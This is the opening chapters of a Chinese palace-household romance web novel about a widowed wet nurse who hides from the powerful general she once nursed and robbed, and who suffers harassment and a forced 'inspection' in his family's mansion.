《公府小奶娘》 第1章 寡妇小奶娘 外面深秋寒风凌冽,屋内却暖烘烘的。 罗苒喂完衍哥儿,困意上来,搂着孩子便迷迷糊糊睡了过去。 安逸,温暖,像是泡在温水里。 这样的生活在来楚家之前,罗苒想都不敢想。 似睡非睡间,似乎有人进了屋子。 那身影高大,脚步声极轻,带着外面的寒意靠近榻边。 朦胧中,一道高大的身影压下来,遮住了昏黄的烛光。 那人微微弯下腰,冷香的气息随之笼罩下来。 罗苒迷糊间意识到,这人不是府中下人的装扮。 直到那人朝着罗苒身旁的衍哥儿伸出手。 罗苒猛然惊醒,几乎是想也不想,一把抓住那只伸来的手。 竟真的抓个正着。 入手是坚硬的骨骼和温热的皮肤,那手腕粗壮有力,她的手指根本圈不过来。 罗苒僵住了,缓缓抬头,对上一双深邃锐利的眼眸。 猛然打了个哆嗦。 那双眼,这半年来经常出现在她睡梦之中。 罗苒几乎是瞬间认出了这双眼的主人。 可他怎会出现在戒备森严的将军府? 恐惧如潮水般涌上来,她本能地张嘴要尖叫。 那人似乎看了一眼身旁熟睡的衍哥儿,另一只手迅速抬起,捂住了她的要喊叫的嘴。 “唔……” 喊叫被制止,罗苒更加害怕,拼命挣扎,膝盖不知怎的顶到了什么地方。 只听男人闷哼一声,腿一软,整个身躯压了下来。 男人身上凛冽的冷香瞬间将罗苒整个人笼罩。 那手又大又有力,捂住她嘴的同时竟也一同堵住了她的鼻子,那力道大得惊人,根本摆脱不开。 罗苒呼吸不顺,惊惧交加,眼泪一下子就涌了出来。 身体越发竭力扭动挣扎,两人贴得太近,身体摩擦,她胸前的柔软擦过男人结实的胸膛,身上那股奶香在这样近的距离下无所遁形。 柔软的触感让楚烬喉结滚了一下。 眉头不由皱了皱。 俯下身,嘴唇几乎贴着身下女人的耳朵, “安静,吵到衍哥儿了。” 那声音低沉喑哑,带着几分忍耐。 热气喷在罗苒耳廓上,激起一阵细密的颤栗。 她被激得一哆嗦,偏生呼吸不畅,一口气没上来,只觉得眼前发黑,天旋地转。 本就因缺氧而涨红的脸,此刻更添几分潮红,手脚也软了。 楚烬说完,身下的人果然不动了。 不由低头看去,这才发现,这女人的脸太小,一个巴掌就遮住了大半张脸,自己的手竟在刚刚不小心捂住了她的口鼻。 怪不得她会挣扎的那般厉害。 慌忙移开手掌。 此时的罗苒因缺氧,脸涨得通红,眼神涣散,眼眶里还含着泪。 红唇半张着,沾着口水急促喘息,丰盈的胸脯起起伏伏,整个身体软绵绵的,出气多进气少。 楚烬心中暗骂一声。 在军营里待久了,身边都是身强体壮的汉子,手上自然没个轻重。 他哪知道女人的脸能小成这样? 人也这样娇娇软软,稍微用力就手软脚软…… 他将软绵绵的人捞起来,箍着她纤细的腰让她倚在自己身上。 粗糙的指腹塞进她嘴里,压着她的舌头,逼她张大嘴。 “来,深呼吸。” “鼻子吸入,嘴吐出。” 另一只大手覆在她平坦的小腹上,引导她的呼吸节奏。 “吸气时腹部鼓起,呼气时腹部内收。” 罗苒被他引导着,一下一下深呼吸。 急促的呼吸渐渐平缓下来,头晕恍惚的感觉这才好转一些。 就是还有些脱力,整个人瘫软在身后男人的胸膛之中。 就在这时,外面传来脚步声,紧接着是郭管家的声音。 “大爷……” 罗苒浑身一僵。 大爷? 她猛地抬头,瞪大还带着水汽的眼睛看向身后靠着的这个男人。 男人正也在低头看她,二人就这样对视个正着。 近在咫尺。 男人生得极好看,轮廓硬朗,五官俊逸非凡。 薄削的唇,鼻梁高挺,下颌线利落锋利,眉宇间带着万人之上的凛然气势。 即便此刻只是静静地看着她,那气势也压得人喘不过气来。 罗苒这才意识到,眼前这人,竟是楚府的当家大爷,楚烬? 怎么可能? 这个万人之上只手遮天的镇国将军,半年前怎会满身是伤地出现在偏远山谷之中? 那自己那时做的事…… 罗苒脸色刷地白了。 不知哪来的力气,她慌忙挣脱开他的怀抱,扑通一声跪在地上,头埋得很低,不敢抬起来。 郭管家推门进来,一眼就看见跪在地上瑟瑟发抖缩成一团的罗苒。 又看了看站在榻边刚从战场上凯旋归来的大爷。 想到罗苒刚来楚府不久,二人不曾打过照面。 刚刚隔着门听到有呼救声,想来是这小奶娘误认为他们家大爷是歹人了。 便开口向楚烬介绍道, “大爷,这是衍哥儿的奶娘。” “说来也是赶巧,这位罗娘子是二房徐姨娘娘家的表妹,走投无路来投奔徐姨娘,无依无靠带着个女娃也是可怜,正好赶上府里给小少爷寻奶娘,奴才就做主留了下来……” 楚烬垂眸看着跪在地上瑟瑟发抖的女人。 她整个人匍匐在地,只露出一截低垂的后颈,修长白皙。 肩膀紧紧缩着,把那点惧怕和紧张彰显得一览无余。 这女人似乎胆子很小…… “徐姨娘的表妹?”楚烬开口询问。 “是,是的……” 罗苒很小声地应,头埋得更低了。 “你男人呢?” 他问,声音沉稳听不出情绪,“怎会走投无路,千里迢迢来投奔此处?” 提起丈夫,罗苒心里狠狠一疼,眼眶不受控制地泛了红。 她怀孕七个月就死了男人。 公婆骂她是丧门星,生下闺女后,更是直接把她赶出了家门。 村里那些光棍地痞,见她一个寡妇无依无靠,日日上门骚扰。 她躲得过初一躲不过十五,实在活不下去了,这才千里迢迢来帝都投奔表姐徐曼羽…… 垂着头,罗苒声音小得几乎听不见, “回大爷……奴家丈夫去年意外身亡了。” 原来是个没有男人的小寡妇。 楚烬浓眉微挑,倒也没再继续追问。 第2章 银锭的小贼 管家在一旁觑着,总觉得两人之间的气氛有些怪异,忙出言缓和, “大爷,您别看这小娘子年纪轻,小少爷可喜欢她了,奶水也足,这才带了几天,您瞧,都胖了一圈……” 楚烬顺着他的话,这才将目光从罗苒身上移开,落向床榻上熟睡的衍哥儿。 衍哥儿睡得正香,小脸蛋白里透红,确实比刚送来时长了些肉。 旁边还躺着个小女娃,瞧着比衍哥儿大上几个月,睡得同样香甜。 两个孩子并排挨着,粉雕玉砌的小脸,长长的睫毛,乍一看倒像对双胞胎。 楚烬眉峰微动。 “那是……” 郭管家忙道, “回大爷,那是罗娘子的闺女,奴才见这娃小便做主允她照顾小少爷的时候带着孩子一起,权当给小少爷作伴。” 楚烬没说话,只垂眸看着榻上那两个小小的身影,目光顿了顿。 屋里静了片刻。 “多大了?” 罗苒跪在地上,听见这话愣了一瞬,才意识到是在问自己。 担心楚烬不许她再带着小玥来照顾衍哥儿,她细细的声音带着点颤, “回大爷,小玥比衍哥儿大两个月,刚满八个月……” 八个月。 那就是丈夫死后生的。 楚烬眸光微沉,没再问什么。 郭管家觑着主子的脸色,试探着道,“大爷,您看这奶娘可还妥当?” 楚烬收回目光,垂眸看向跪在地上的人。 她还伏着,肩膀微微发抖,后颈那一截白皙的皮肤在烛光下泛着柔光。 从方才到现在,她连头都不敢抬一下,像是怕极了他。 他想起刚刚在他怀里的时候,也是这般抖的厉害。 小小一团,软绵绵的,带着若有若无的奶香,挣扎时眼泪汪汪的,被他捂得喘不过气,红唇半张着,眼神涣散得像是被他欺负坏了。 楚烬眸光莫名暗了一瞬。 喉结微微滚动。 “既然是徐姨娘介绍的,便留着吧。” 郭管家松了口气, “是,小的也是这么想……” “不过。” 楚烬打断他,目光依旧落在罗苒身上。 “既然在将军府当差,有些规矩得懂。” 罗苒身子一僵。 “往后见了本将军,不必这般畏畏缩缩。” 他语气淡淡的,“抬起头来说话。” 罗苒伏在地上,心跳快得像要从嗓子眼蹦出来。 她担心楚烬再看几眼便会认出她。 可他的话又不敢不听。 半晌,她才慢慢直起身,却还是垂着眼,睫毛抖得厉害,就是不敢看他。 楚烬看着她那副又怕又不得不从的模样,唇角微微动了动。 “下去吧。” 罗苒如蒙大赦,叩了个头,抱过床上还在熟睡的小玥,几乎是仓惶地退了出去。 楚烬站在原地,看着那慌慌张张的单薄身影。 直到脚步声远了,他才收回目光。 低头,看了看自己的手。 指尖还湿漉漉的,是方才压着那女人舌头引导呼吸时留下的。 那唇舌柔软湿热的触感,此刻好像还黏在指腹上,挥之不去。 半晌,忽然问,“她叫什么?” 郭管家愣了愣,才反应过来是在问谁。 “回大爷,叫罗苒。” 罗苒。 楚烬把这名字在舌尖滚了一遍,没再说话。 说起来,罗苒能进这将军府,实在算是运气好。 她那表姐徐曼羽,如今是楚家二房楚乘风的姨娘。 听着风光,内里却是一肚子苦水,上头正室压着,下头通房争着,每日如履薄冰,连口大气都不敢喘。 收留罗苒几日还行,时间长了,恐是要被人说闲话的。 徐曼羽正为如何安排罗苒伤脑筋呢,赶巧战场上送回来个孩子。 是大爷楚烬亲信的遗孤,孩子父亲为护主殉职,孩子无人照料便被楚烬收做养子,取名楚衍,千叮咛万嘱咐要好生照料。 只是这孩子娇贵得很,牛乳羊乳一概不肯吃,整日饿得哇哇大哭。 管家急得满帝都找奶娘,找了一圈都不合心意。 徐曼羽一听这消息,便将罗苒荐了过来。 罗苒去试了试,没想到衍哥儿一到她怀里就乖了,咕咚咕咚吃得香甜。 管家一看,当即拍板将罗苒留了下来。 高门大户,规矩大,墙也高。 那些见罗苒孤儿寡母便动了歪心的地痞流氓进不来,欺辱骚扰也进不来。 不必担心有上顿没下顿,不必听见脚步声就心惊肉跳。 罗苒那颗忐忑不安的心也终于慢慢放了下来。 只是刚放下没几日,在见到楚烬那张脸后,又倏地提到了嗓子眼。 她来楚府这段时日,也隐约听过这位当家大爷的事迹。 十八岁中武状元,二十五岁被圣上亲封为镇国将军,战功无数,朝堂上举足轻重。 听闻他战场上杀伐果断,狠厉冷静。 虽生得俊逸好看,但身材健硕魁梧气势逼人,往那儿一站,周遭三丈以内没人敢大声喘气。 简直传得跟仙人一般。 罗苒也曾对这位大爷生出过几分好奇之心,却万万没想到,他竟和年前自己在山谷中救过的男人如此相像。 ……与其说相像,不如说他们根本就是同一个人。 可罗苒想破脑袋也想不通,本该在边塞打仗的楚烬,为何会出现在那么偏远贫瘠的山谷? 那阵子,她刚生完孩子第二个月,便被婆家赶了出来。 家中实在连一点果腹的粮食都没有了。 为了一口吃的,她冒着大风上山采药,想换几文钱活命。 就是在那个时候,她在偏僻的山间遇到了一个满身是伤昏迷不醒的男人。 她看他伤得重,便把本来打算换两顿干粮的草药都用到了他身上。 后来,她无意间瞥到男人腰间的荷包,想到自己和孩子过不下去的日子…… 一时鬼迷心窍,从里面挑了个最小的银锭。 只当是他买自己药草的钱。 罗苒没上过什么学堂,也不懂什么大道理,但却知道不问自取便是偷。 如若不是实在逼急了,她断然不会那样做。 那日之后,她不安忐忑了好久,日日躲着走,生怕被人发现。 后来日子慢慢过去,似乎并无什么意外发生,她也就渐渐将这事压在了心底最深处,轻易不去翻动。 如今再想起这件事…… 她忐忑得整夜睡不着,生怕哪一天楚烬认出她,就是那偷拿他银锭的小贼。 第3章 你莫不是面团捏的? 第二日,忐忑了一晚没休息好的罗苒恹恹地去给衍哥儿喂奶。 喂完奶,照顾衍哥儿的婆子便把孩子抱到花院里晒太阳去了。 罗苒收拾了衍哥儿换下来的小衣裳,打算拿去洗。 身后不知何时多了道身影。 阴影压下来,带着那股若有若无的冷香。 罗苒察觉后猛地转身,就见楚烬不知何时出现在她身后,离得极近。 罗苒吓得手一松,拿起的衣裳散落一地。 她想往后退,却发现身后就是衣橱,退无可退。 想弯腰去捡那散落在地的衣衫,可楚烬站得太近,她一低头就会撞上。 只能僵在原地,捡也不是,不捡也不是。 楚烬显然是来看衍哥儿的。 他目光在屋里扫了一圈,只见到罗苒一人,沉声问, “衍儿呢?” 罗苒低着头,声音还是有些发颤, “回大爷,小少爷被李婆婆带去花园晒太阳了。” 楚烬“嗯”了一声。 却没有要走的意思。 罗苒能感觉到他的目光落在自己身上,沉甸甸的,压得她头皮发麻。 她垂着头,盯着楚烬绣着精细花纹的腰带,恨不得把自己缩成一团。 忽然,脸颊一紧。 楚烬伸手捏住了她的脸,指腹粗糙,力道不轻不重,逼着她抬起头来。 “昨晚不是让你抬起头说话?” 罗苒被迫仰着脸,对上一双深邃的眼睛。 那双眼睛正盯着她的脸,目光从眉眼一路往下,最后停在她脸颊上。 罗苒这才反应过来,楚烬是在看她的一侧脸颊。 那里两块灰青色的印子很是突兀,不是不小心蹭上的灰土,是两块淤青。 昨晚被楚烬捂嘴时,指腹用力留下的印子。 罗苒本就苍白的小脸上,那两块淤青格外突兀,在白净的皮肤上触目惊心。 她晚上没睡好,眼底还泛着红,带着水汽,此刻被他一盯,整个人惊惧交加,在加上白皙脸颊上那明显的淤青,整个人看起来可怜兮兮的。 楚烬盯着那两块淤青,轻嗤了一声。 “你莫不是面团捏的?” 他指腹在她脸颊的淤青上轻轻蹭了蹭,“稍微一碰就留印。” 看着她因为自己这句话,那双水汪汪的眼睛又肉眼可见地红了几分,楚烬竟不禁有些好笑。 声音稍微大一点就颤巍巍的要落泪。 只是轻轻捂了一下,就青一块紫一块。 这要是真做点什么…… 那岂不是要哭到嗓子哑了,几天都下不了床? 他眸光暗了暗,意识到自己竟在胡思乱想,莫名有些不自在,松开手。 罗苒被他那眼神看得心头发毛,慌忙垂下眼,不敢再看他。 楚烬却还盯着那两块碍眼的淤青,顿了顿,开口道, “去府医那儿拿点涂抹的药膏,我院里的女人整日顶着伤,别传出去说我堂堂楚烬还欺负一个女人。” 说完,也不等她应声,转身便往外走,去看衍哥儿了。 楚烬的话,罗苒不敢不听。 她磨蹭了一会儿,还是硬着头皮去了府医那儿。 府医是个和善的老头,听她说是大爷让来的,也没多问。 正给她兑着药膏,外头忽然一阵嘈杂。 几个下人匆匆抬着一个人闯进来。 那人浑身是血,趴在担架上奄奄一息,血肉模糊得几乎看不出人形。 罗苒只看了一眼,脸就白了,下意识往后退了两步。 抬他来的下人一边擦汗,一边跟府医交代, “这小子偷了大爷书房的东西拿去卖,被大爷发现,命人用沾了盐水的倒刺鞭抽了五十鞭。看着快咽气了,大爷心善,让你治一治再扔出去,别死在府里,晦气。” 府医开始撕那人背上的衣服。 衣裳早就和血肉黏在一起,一扯就是一片模糊的红。 罗苒胃里一阵翻涌,别过脸不敢再看。 她正想赶紧拿了药走人,就听那下人又开口,跟旁边的人闲聊起来。 “大爷一贯最恨这种偷鸡摸狗的事。就像年前那个趁他重伤偷东西的村妇,大爷醒来第一件事,不也是命人把山下村子翻了个底朝天,挨家挨户查了小一个月……” 罗苒心猛地揪紧,脚步钉在原地。 她下意识的开口追问,“大爷这样身居高位的人,也会被人近身暗算?” 声音细细软软的,带着几分怯意。 那两个讨论的下人听到这细软的声音,扭头一看,是个白白净净的小娘子。 正瞪着黑黝黝的眼睛望着他们,那眼神迫切的,又带着点怯生生的好奇,看得人心都酥了半边。 两人顿时来了精神,凑过来跟她细细说道, “就年前那阵子的事,大爷回帝都复命途中被敌军暗算,从崖上被人推下去,差点就没了命。” “听说是从万丈高的悬崖推下去的,去寻的人都以为凶多吉少。” “可大爷就是吉人自有天相,竟被路过的村妇给救了……” “可惜啊,那人手脚不干净。本是积德救人的事,偏偏动了歪心思,偷了大爷重要的东西。” “要不然大爷也不能发那么大脾气。醒了之后第一件事,就是派人去山下村子挨家挨户地问。” 罗苒心跳如擂鼓,努力让声音听起来稳当些, “那……那人最后抓到了吗?” “谁知道呢,最近也没消息了,估摸着是抓到了吧。” “要我说,那村妇也是胆子大,大爷的东西也敢拿。这下好了,怕是已经重新投胎去了……” 罗苒脸色又白了几分,嗫嚅道,“大爷看起来……虽然凶悍冷冽,但,但也不是这么残暴的人吧?就为了那么点东西……” 另一个下人接话道,“谁知道呢……兴许说偷东西寻人只是借口,指不定那人在大爷重伤的时候,还做了什么其他冒犯的事呢……” 罗苒低下头,没再接话。 心底一阵后怕的庆幸。 幸好那天为了挖草药,她特意去了远一些的山头,所以并未查到她。 可这点庆幸刚冒出来,立刻又被更深的恐慌淹没。 其他冒犯的事…… 她脸又白了几分。 罗苒心事重重地喂完奶,一整天都魂不守舍。 第4章 我不脏的 当天晚上,她便做了噩梦。 梦里,楚烬坐在前厅的太师椅上,还是那双深邃锐利的眼睛,冷飕飕地盯着她。 她想跑,跑不动,有人把她按在地上。 膝盖压着她的后背,骨头都要碎了一样。 楚烬居高临下看着她,像看一只蝼蚁。 “罗苒,你可知罪?” 她趴在地上,那目光压下来,压得她喘不过气。 她哭喊得哑了嗓子,浑身抖得像筛糠,磕头如捣蒜, “大爷我错了,我不该偷您银子……” “只是银子?” 他打断她,阴鸷的目光顺着她的脸往下滑,落在她胸口。 那目光像冰刃,一寸寸剐着她的皮肉。 她羞耻得抖的更加厉害,哭着摇头, “不,不是的……不是的……” 她期期艾艾地想解释清楚, “那日您伤得太重,昏迷不醒,咽不下捣碎的药糊糊,又没有水……我怕您死了,情急之下,只能用……只能用乳汁把草药稀释……” “你竟敢给本将军喂这肮脏的东西。” 楚烬刚毅俊朗的脸上是神情厌恶至极的神情,声音阴森凶恶。 她眼泪糊了满脸,语无伦次地解释, “小玥还在吃奶,所以我每日都会擦洗的……我没有乱七八糟的病……我不脏的,真的不脏的……” 她说了多少遍也不记得了,只是不停地重复。 楚烬的神情没有一丝松动。 鞭子扬起来,上面滴着盐水。 冷冽的男声一声令下,沾着盐水的倒刺长鞭狠狠抽在她身上,疼得她撕心裂肺,满身是伤。 小玥在一旁哭得撕心裂肺,她想抱,却动弹不得。 罗苒猛地从床上弹坐起来,浑身冷汗,大口大口地喘着气,心脏狂跳不止。 窗外还是一片漆黑,夜还很深。 小玥在她旁边睡得正香,呼吸均匀。 她捂着胸口喘了半天,掌心全是冷汗,黏腻地贴在衣襟上,冰凉一片。 梦里楚烬眼底毫无温度的冷意和自己惨然的绝望,还清清楚楚刻在脑海里,挥之不去。 哪怕已经醒了,她依旧控制不住地后背发凉。 脑子里全是楚烬沉冷阴森的模样…… 她越想越慌,越慌越睡不着。 狭小的房间里静得可怕,空气像是凝固了一般,闷得她胸口发紧,连呼吸都觉得不畅快。 她实在躺不下去,轻手轻脚掀开薄被。 拢了拢身上粗布衣裙,轻手轻脚拉开房门。 深夜的风带着几分凉意,一吹过来,她打了个小小的寒颤,却也觉得胸口那股憋闷散了不少。 庭院里静悄悄的,只有月光如水,洒在石板路上,一片朦胧柔和。 白日里人来人往的楚府,到了这夜深人静的时候,竟显得格外空旷安静。 罗苒沿着廊檐慢慢走,只想找个通风的地方站一会儿,让自己乱成一团的心绪平复下来。 她不敢走远,只在就近的小庭院里徘徊。 脑子里乱糟糟的,满满的都是梦中楚烬的模样。 罗苒不由想,那时的楚烬一直昏迷,应该并不记得自己给他喂了什么吧? 他真的还在找那个偷他银子的人吗? 如果真的找到了,会是什么下场? 是不是也像那个偷东西的下人一样,被浸了盐水的鞭子抽打,最后半死不活地扔出去? 一想到这里,罗苒便浑身发冷。 她不是怕死,她是怕自己出事了,小玥这么小,该怎么办。 就在她心神不宁越想越怕的时候,远处忽然传来了两道沉稳的脚步声。 伴随着低低的交谈声,还有一丝若有若无的酒气,顺着夜风飘了过来。 罗苒心头猛地一跳,下意识想躲,可廊下一片空旷,根本无处可藏。 只能慌忙低下头,垂着眼帘,缩到廊柱阴影里。 两道身影渐渐走近,月色下,轮廓越来越清晰。 走在前面的那个身形挺拔高大,一身玄色衣袍,身姿如松。 哪怕只是随意走着,也自带一股生人勿近的压迫感。 正是罗苒此时最怕见到的楚烬。 他身旁跟着一个稍显年轻的男子,一身鲜亮衣袍,步态轻佻随意,五官周正眉眼带笑。 正是二房的大公子,楚乘风。 楚家身为帝都首屈一指的名门世家,至今并未分家。 如今府里共有三房,大房老爷前几年去世,生前官居二品大理寺卿,因政绩卓著被先帝赐爵。 虽已不在人世,爵位却传了下来,如今由楚烬承袭,楚家家业也由他执掌。 二房老爷尚在,膝下有楚乘风这位嫡长子,府里上下都称一声“二爷”。 罗苒来府里这些日子,听过不少关于这位二爷的传闻。 整日里斗鸡走狗,花街柳巷,没个正形,把二房夫人气得头疼。 可偏偏他又生了一张巧嘴,见人说人话见鬼说鬼话,哄得二房老爷对他睁一只眼闭一只眼。 这堂兄弟二人显然是在外赴宴晚归,身上都带着淡淡的酒气,不算浓烈,却足以让人一闻便知。 罗苒把头埋得更低,屏住呼吸,只盼着他们快点走过去,不要注意到自己。 可事与愿违。 楚乘风眼尖,一眼便瞥见了廊下站着的纤细身影。 他脚步一顿,目光落在罗苒身上,上下一扫,眼睛顿时亮了几分。 这府里的丫鬟婆子,他大多见过,可眼前这个女人…… 月光底下,乌黑长发披肩,生得白嫩娇软,眉眼温顺,肌肤在月光下白得近乎透明。 一身粗布衣裙,也遮不住那一身柔柔弱弱的气韵。 楚乘风本就风流,见了这般标致的小娘子,脚步顿时挪不动了。 他上前一步,语气带着几分轻佻的笑意,开口问道, “哟,这是哪里的小丫鬟?怎的这么晚还在这里站着?” 瞟到罗苒身上深蓝色的下人装, “你是哪房里的?这么娇俏的,怎么从前没碰上过?” 罗苒后退一步,因为楚乘风轻挑的话语脸不由烧起来了。 又惊又羞,手足无措地低着头小声道, “大爷” “二爷。” 她声音轻轻软软,像羽毛拂过心尖。 楚乘风听得心头一痒,笑意更浓,往前又凑近了几分,嘴里的话越来越没边儿, “你叫什么名儿?多大了?” “月色这么好,一个人站在这里多无趣,不如随我去我院里,赏赏月,吃点小酒说说话?” 这话里的挑逗意味,再明显不过。 第5章 莫不是想来我院里 罗苒脸涨得通红,张了张嘴,却什么也说不出来。 她之前便听厨房的婆子们提过,二房的楚乘风为人风流,最爱和府里的小丫鬟玩笑逗趣。 可她怎么也没想到,自己一个已婚的妇人,竟也能被他盯上。 她往后缩了缩,依旧低着头不说话。 只盼着他只是一时兴起,看自己这般木讷呆板便无趣离开。 楚乘风见她只躲不答,一副怯生生的模样,心头更是发痒,忍不住便伸手,想去拉她的衣袖。 可那只手还没碰到罗苒的衣角,另一只手忽然从旁边伸了过来。 一把扣住了她的手腕。 往旁边一带,那大的惊人的力道就把她从楚乘风跟前拉了过去。 罗苒猝不及防,整个人被扯得往前踉跄。 下一瞬,就撞进了一个结实的怀里。 清冽的冷香,混着若有若无的酒气,从她鼻尖掠过。 她肩膀抵着的胸膛像铁板似的,隔着薄薄的衣料,能清晰感受到底下坚硬的肌肉轮廓。 罗苒整个人都僵了。 那只握住她手腕的大手,宽大温热力道沉稳。 指腹带着薄薄的茧,轻轻一扣,便将她纤细的手腕牢牢握在掌心。 不知是不是罗苒多心,只觉得他那指腹在他手腕内侧极软的地方,轻轻蹭了蹭。 像是无意擦过,又像是故意为之。 楚烬抬眼,看向因他突然动作而满脸意外的楚乘风,声音低沉, “她是徐姨娘表妹,带着孩子投奔楚府来的,如今是衍哥儿的奶娘,不得无礼。” 简简单单一句话,语气不算严厉,却带着一种与生俱来的压迫力。 楚乘风愣了一下,看了看楚烬冷沉慑人的脸色,不敢再放肆,讪讪一笑, “原来是徐姨娘的表亲,是我唐突了。” 说完,他打了个哈哈,转身就往自己院子那边去了。 脚步声渐渐远了。 气氛一时有些凝滞。 罗苒站在原地,手腕还被楚烬握在掌心。 他掌心的温度,透过那一层薄薄的皮肤,一点点烫进来,顺着血脉往上窜,一路烧到心口。 她浑身僵硬,连呼吸都不敢太重。 一颗心狂跳不止,脑子里一片空白。 他还没松手…… 那只手就那么握着她的手腕,力道不重,却也容不得她挣脱。 她能感觉到男人的指腹贴着她的脉搏…… 一下,两下,三下。 她的心跳那么快,他一定感觉到了。 终于那只手松开了。 罗苒僵在他身旁,手腕上那一块皮肤,好像还残留着那人指尖的温度。 挥之不去。 “还不走?” 楚烬微微低头,看着面前月光下更显白皙的小脸,嘴角轻挑,有意无意道, “莫不是想来我院里,赏赏月,吃点小酒说说话?” 那语气,那腔调,竟活脱脱是学着楚乘风那副轻挑模样。 罗苒听着,脸腾地红了。 她哪敢再停留,声音细得像蚊子哼, “谢……谢大爷。”。 话音落下,她几乎是落荒而逃,转身便朝着自己房间的方向狂奔而去,连回头的勇气都没有。 跑回房间,关上房门,她才敢缓缓低头,看向自己的手腕。 月光从窗缝里照进来,落在她腕间。 那一片皮肤依旧白皙,什么痕迹都没有。 可她总觉得那里还留着点什么…… 深吸一口气,罗苒强迫自己冷静下来。 轻手轻脚走到床边,看着熟睡的小玥,小小的身子在被褥里,光看着罗苒的心就软的一塌糊涂。 有小玥在,她必须安稳度日,不能出半点差错。 果然往后还是要尽量避开楚烬,老老实实的照顾好衍哥儿,争取早日攒够银子,带着小玥离开这里。 那晚见了之后,楚乘风就对罗苒上了心。 他托人去打听,得知罗苒虽然带着个孩子,却是个寡妇。 心思便越发活泛起来。 打那以后,他便三天两头打着来看衍哥儿的由头往楚烬的院子跑。 只是明明说是来看衍哥儿,眼睛却总往罗苒身上瞟。 罗苒起初还没察觉,等发现这位二爷的眼神越来越不加掩饰时,已经晚了。 偏偏他是主子,她是下人,躲又不能躲得太明显,只能尽量避着。 好在她平日里大部分时间都在照顾衍哥儿,楚烬的院子规矩严苛,楚乘风再放肆,在自家大哥的地盘上也得收敛几分。 罗苒就这么挨着。 她想,二爷那样的人,见多识广的,不过是一时新鲜。 等讨够了没趣,自然就失了兴致,把她忘到脑后去了。 可她不知道的是,这几日楚乘风往这边跑得勤,明里暗里落在罗苒身上的目光,都被有心之人看在了眼里。 这日,罗苒刚带着小玥到衍哥儿院里,二太太身边的婆子忽然寻来,传她过去问话。 罗苒虽不明所以,也只得暂时把衍哥儿和小玥交给一同在院里照顾婆子,自己则跟着去了。 婆子将人领到二房前厅,罗苒一进门,便被崔氏端坐在上的气势慑住。 崔氏一身锦绣,雍容华贵,眉眼间带着长辈的威严。 一旁站着楚乘风的姨娘许嫣,一双眼落在罗苒身上,满是嫉妒不善。 原来是许嫣将这几日的事情听了去,转头便在崔氏面前添油加醋地嚼了舌根。 崔氏淡淡开口,让跪在地上的罗苒抬头。 她细细打量着罗苒的脸,语气凉淡, “倒是长得不错,怪不得能勾得风儿这几日魂不守舍。” 罗苒瞬间反应过来崔氏叫她来的目的,慌忙叩首, “太太明鉴,奴婢并未对二爷有其他主仆之外的想法……” “没想法?” 许嫣尖着嗓子打断她,看她的目光轻蔑鄙夷, “没想法怎还能引得二爷成日往你那跑?你当楚家是什么地方,由着你一个寡妇在这儿发骚?” 罗苒脸色越听越白。 许嫣压根不给她辩驳的机会,转头又对着崔氏添了几句刻意地话, “太太有所不知,这罗苒从前还带着个不到周岁的孩子,丈夫一死,便被婆家赶了出来,也不知是何等缘故……” 话里话外,都在暗示罗苒不安分,才会落得这般下场。 崔氏脸色顿时沉了几分,冷声道, “你一个寡妇人家,带着孩子不易,想寻个依靠,我并非不能理解。可我们楚家,也不是什么阿猫阿狗都能进的。” “我知道风儿现下对你上了头,甚至不介意你是个寡妇……” “若只是做个姨娘,我儿喜欢,纳了也就纳了,横竖楚家富贵,不差你一口饭吃。” 崔氏慢悠悠拨着茶盏,抬起眼皮,目光落在罗苒身上,像在看一件待估的物件。 “可你成过婚,有些事,得弄清楚了才能定。” 第6章 验身 罗苒看着崔氏犀利冷漠的目光,心里顿时涌上不好的预感,声音都颤了, “太太明鉴,奴婢一个寡妇虽然带着孩子不易,却真的没有打算攀附二爷,更没有想过要当二爷的姨娘……” 许嫣嗤笑一声,阴阳怪气道,“怎么?一个寡妇,还瞧不上姨娘,想做侧夫人不成?” “不是,奴婢真的没有这个心思……” “行了。” 崔氏放下茶盏,瓷器磕在紫檀木上,轻轻一声响, “别在这儿给我装可怜,楚楚可怜的样子我见多了。” 所有人都当罗苒实在装模作样。 毕竟能在楚家这样高门大户里做姨娘的,有的是出身好的姑娘前赴后继,更何况罗苒这样一个早早没了男人、还带着孩子的小寡妇? 崔氏懒得听她辩解,自顾自往下说。 “若是黄花大闺女,身家清白,那倒不用这般操心。” 话锋陡然一转,崔氏的目光如利刃般刮过罗苒苍白的脸, “可你是寡妇,来路不明,万一身上带着什么不干不净的病根,或是沾染了外头的晦气,带进我们楚家,那可就说不清了。” 这话羞辱人的意味甚浓,罗苒不敢相信的看向崔氏。 她确实嫁过人,生过孩子,但嫁的是清清白白的人家,做得是规规矩矩的妇人,什么时候跟“不干不净”四个字沾过边? 惊羞交加之下,眼眶都不由泛了红,她忍着泪意小声辩驳, “太太,奴婢没有……” “有没有,查过才知道。” 查?查什么? 罗苒看着崔氏冷漠威严的脸,有些懵。 崔氏抬起手,招了两个面生的婆子过来。 “楚家的门,不是那么好进的,今日若是让你就这么不清不楚地进了门,日后传出去,我这脸往哪儿搁?” 一旁的许嫣嗤笑出声,拿帕子掩着嘴角,眼里的幸灾乐祸几乎要溢出来。 罗苒嘴唇哆嗦着,想说什么,崔氏却已经给那两个婆子失了眼色。 直到这个时候她才后知后觉地意识到什么,猛地打了个寒颤。 “不!我不查!我没打算做二爷姨娘,也没打算进二房的门……” 没人听她的。 话还没说完,胳膊就被两个婆子一左一右架住,整个人像拎小鸡仔似的被拖了起来。 她拼命挣扎,却根本挣不脱那两只铁钳般的手。 “太太……太太您听奴婢解释……” 崔氏再次端起茶盏,连眼皮都没抬一下。 许嫣拿帕子掩着嘴角,笑得花枝乱颤。 罗苒被拖进一侧的小房间,门在身后砰地关上。 那一声响,像砸在她心口上。 房间里光线昏暗,只有一扇小小的高窗,漏进来几缕薄薄的日光。 两个婆子堵在门口,把她所有的退路都封死了。 罗苒慌得不行,转身对着那个看着面善些的高个婆子,声音打着颤, “嬷嬷,麻烦您跟太太传个话,我真的没有那种打算……” “我只想在厨房做厨娘,安分守己干活儿,如若太太不放心,我可以亲自跟二爷说清楚,以后见了他绕着走,绝不多说一个字……” 那婆子不耐烦地摆摆手, “行了行了,这话你跟老婆子说没用。” 她挽起袖子,露出两截粗壮的小臂。 “老实点,别让咱们费事。” 罗苒下意识往后退,后背撞上冰凉的墙壁,退无可退。 高个婆子朝另一个使了个眼色,两人一块儿上前。 一个按住罗苒的肩膀,一个开始拿软尺往她身上比划。 量身高,量腿长,像是在摆弄一个待估的物件。 “别……” 罗苒刚开口,就被按得更紧。 “把外衫脱了。” 她不脱。 